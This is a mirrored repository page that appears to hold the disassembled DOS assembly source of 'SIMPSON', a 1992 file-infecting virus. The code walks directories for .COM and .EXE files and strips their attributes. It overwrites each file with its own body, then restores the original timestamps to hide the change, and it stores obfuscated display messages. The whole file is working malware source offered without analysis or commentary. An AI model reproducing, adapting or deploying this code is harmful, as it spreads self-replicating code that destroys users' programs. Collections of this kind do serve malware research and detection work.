mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
382 lines
7.9 KiB
NASM
382 lines
7.9 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ SIMPSON ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 4-Dec-92 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 2Eh
|
|
data_10e equ 39Ah ;*
|
|
data_11e equ 39Ch ;*
|
|
data_12e equ 39Eh ;*
|
|
data_13e equ 3A0h ;*
|
|
data_14e equ 5845h ;*
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
simpson proc far
|
|
|
|
start:
|
|
push si
|
|
xor si,si ; Zero register
|
|
loc_1:
|
|
call sub_2
|
|
or ax,ax ; Zero ?
|
|
jz loc_2 ; Jump if zero
|
|
call sub_1
|
|
inc si
|
|
inc data_8
|
|
jmp short loc_3
|
|
loc_2:
|
|
mov dx,38Bh
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
inc si
|
|
loc_3:
|
|
cmp si,data_6
|
|
jl loc_1 ; Jump if <
|
|
cmp byte ptr data_8,0
|
|
je loc_4 ; Jump if equal
|
|
mov ax,2BAh
|
|
push ax
|
|
call sub_5
|
|
pop cx
|
|
jmp short loc_8
|
|
loc_4:
|
|
cmp byte ptr data_7,6
|
|
jbe loc_7 ; Jump if below or =
|
|
xor si,si ; Zero register
|
|
jmp short loc_6
|
|
loc_5:
|
|
mov bx,si
|
|
shl bx,1 ; Shift w/zeros fill
|
|
push data_2[bx]
|
|
call sub_5
|
|
pop cx
|
|
inc si
|
|
loc_6:
|
|
cmp si,3
|
|
jl loc_5 ; Jump if <
|
|
jmp short loc_8
|
|
loc_7:
|
|
mov ax,2BAh
|
|
push ax
|
|
call sub_5
|
|
pop cx
|
|
loc_8:
|
|
jmp short $+2 ; delay for I/O
|
|
pop si
|
|
retn
|
|
|
|
simpson endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_1 proc near
|
|
mov dx,data_3
|
|
add dx,1Eh
|
|
xor cx,cx ; Zero register
|
|
mov al,1
|
|
mov ah,43h ; 'C'
|
|
int 21h ; DOS Services ah=function 43h
|
|
; set attrb cx, filename @ds:dx
|
|
mov ax,data_3
|
|
add ax,1Eh
|
|
push ax
|
|
call sub_8
|
|
pop cx
|
|
mov bx,ds:data_10e
|
|
mov cx,data_5
|
|
mov dx,data_4
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
call sub_4
|
|
call sub_9
|
|
jmp short $+2 ; delay for I/O
|
|
retn
|
|
sub_1 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
mov ax,38Eh
|
|
push ax
|
|
call sub_6
|
|
pop cx
|
|
cmp ax,12h
|
|
je loc_12 ; Jump if equal
|
|
call sub_3
|
|
or ax,ax ; Zero ?
|
|
jz loc_9 ; Jump if zero
|
|
mov ax,1
|
|
jmp short loc_ret_17
|
|
jmp short loc_12
|
|
loc_9:
|
|
jmp short loc_11
|
|
loc_10:
|
|
call sub_3
|
|
or ax,ax ; Zero ?
|
|
jz loc_11 ; Jump if zero
|
|
mov ax,1
|
|
jmp short loc_ret_17
|
|
loc_11:
|
|
call sub_7
|
|
cmp ax,12h
|
|
jne loc_10 ; Jump if not equal
|
|
loc_12:
|
|
mov ax,394h
|
|
push ax
|
|
call sub_6
|
|
pop cx
|
|
cmp ax,12h
|
|
je loc_16 ; Jump if equal
|
|
call sub_3
|
|
or ax,ax ; Zero ?
|
|
jz loc_13 ; Jump if zero
|
|
mov ax,1
|
|
jmp short loc_ret_17
|
|
jmp short loc_16
|
|
loc_13:
|
|
jmp short loc_15
|
|
loc_14:
|
|
call sub_3
|
|
or ax,ax ; Zero ?
|
|
jz loc_15 ; Jump if zero
|
|
mov ax,1
|
|
jmp short loc_ret_17
|
|
loc_15:
|
|
call sub_7
|
|
cmp ax,12h
|
|
jne loc_14 ; Jump if not equal
|
|
loc_16:
|
|
xor ax,ax ; Zero register
|
|
jmp short loc_ret_17
|
|
|
|
loc_ret_17:
|
|
retn
|
|
sub_2 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
push si
|
|
mov bx,data_3
|
|
mov ax,[bx+18h]
|
|
mov ds:data_11e,ax
|
|
mov bx,data_3
|
|
mov ax,[bx+16h]
|
|
mov ds:data_12e,ax
|
|
mov ax,data_3
|
|
add ax,1Eh
|
|
push ax
|
|
call sub_8
|
|
pop cx
|
|
mov bx,ds:data_10e
|
|
mov cx,14h
|
|
mov dx,data_13e
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
call sub_4
|
|
call sub_9
|
|
xor si,si ; Zero register
|
|
jmp short loc_20
|
|
loc_18:
|
|
mov al,ds:data_13e[si]
|
|
mov bx,data_4
|
|
cmp al,[bx+si]
|
|
je loc_19 ; Jump if equal
|
|
mov ax,1
|
|
jmp short loc_21
|
|
loc_19:
|
|
inc si
|
|
loc_20:
|
|
cmp si,14h
|
|
jl loc_18 ; Jump if <
|
|
inc data_7
|
|
xor ax,ax ; Zero register
|
|
jmp short loc_21
|
|
loc_21:
|
|
pop si
|
|
retn
|
|
sub_3 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_4 proc near
|
|
mov al,1
|
|
mov bx,ds:data_10e
|
|
mov cx,ds:data_12e
|
|
mov dx,ds:data_11e
|
|
mov ah,57h ; 'W'
|
|
int 21h ; DOS Services ah=function 57h
|
|
; set file date+time, bx=handle
|
|
; cx=time, dx=time
|
|
jmp short $+2 ; delay for I/O
|
|
retn
|
|
sub_4 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_5 proc near
|
|
push bp
|
|
mov bp,sp
|
|
push si
|
|
mov si,[bp+4]
|
|
jmp short loc_24
|
|
loc_23:
|
|
sub byte ptr [si],0Ah
|
|
inc si
|
|
loc_24:
|
|
cmp byte ptr [si],0
|
|
jne loc_23 ; Jump if not equal
|
|
mov dx,[bp+4]
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
jmp short $+2 ; delay for I/O
|
|
pop si
|
|
pop bp
|
|
retn
|
|
sub_5 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
push bp
|
|
mov bp,sp
|
|
mov dx,[bp+4]
|
|
mov cx,0FFh
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jmp short $+2 ; delay for I/O
|
|
pop bp
|
|
retn
|
|
sub_6 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_7 proc near
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jmp short $+2 ; delay for I/O
|
|
retn
|
|
sub_7 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_8 proc near
|
|
push bp
|
|
mov bp,sp
|
|
mov dx,[bp+4]
|
|
mov al,2
|
|
mov ah,3Dh ; '='
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
mov ds:data_10e,ax
|
|
jmp short $+2 ; delay for I/O
|
|
pop bp
|
|
retn
|
|
sub_8 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_9 proc near
|
|
mov bx,ds:data_10e
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
jmp short $+2 ; delay for I/O
|
|
retn
|
|
sub_9 endp
|
|
|
|
pop ss
|
|
adc al,5Ah ; 'Z'
|
|
jl $+7Bh ; Jump if <
|
|
jno $+7Eh ; Jump if not overflw
|
|
db 'kw*~yy*lsq*~y*ps~*sx*wowy|'
|
|
db 83h, 2Eh, 00h
|
|
data_2 dw 2F1h ; Data table (indexed access)
|
|
db 2Ah, 03h, 63h, 03h
|
|
data_3 dw 80h
|
|
db 58h, 58h, 00h
|
|
data_4 dw 100h
|
|
data_5 dw 29Ah
|
|
data_6 dw 4
|
|
data_7 db 0
|
|
data_8 db 0
|
|
db 17h, 14h, 13h
|
|
db 'XOa]*PVK]R++**cy'
|
|
db 7Fh, 7Ch, 2Ah, 7Dh, 83h
|
|
db '}~ow*rk}*loox*sxpom~on*'
|
|
db 81h
|
|
db 's~r*~ro.'
|
|
db 00h, 17h, 14h, 13h, 73h, 78h
|
|
db 6Dh, 7Fh
|
|
db '|klvo*nomk'
|
|
db 83h, 2Ah, 79h, 70h, 2Ah, 56h
|
|
db 'OZ\Y]c*;8::6*k*'
|
|
db 80h, 73h, 7Ch, 7Fh, 7Dh, 2Ah
|
|
db 73h, 78h, 80h, 6Fh, 78h, 7Eh
|
|
db 6Fh, 6Eh, 2Ah, 6Ch, 83h, 2Eh
|
|
db 00h, 17h, 14h, 13h
|
|
db 'ZMW<*sx*T'
|
|
db 7Fh
|
|
db 'xo*yp*;CC:8**Qyyn*v'
|
|
db 7Fh, 6Dh, 75h, 2Bh, 17h, 14h
|
|
db 2Eh
|
|
db 0
|
|
data_9 db 2Eh
|
|
db 2Eh
|
|
db 00h, 2Ah, 2Eh, 45h
|
|
db 58h, 45h, 00h
|
|
db 2Ah, 2Eh, 43h, 4Fh, 4Dh
|
|
db 0
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|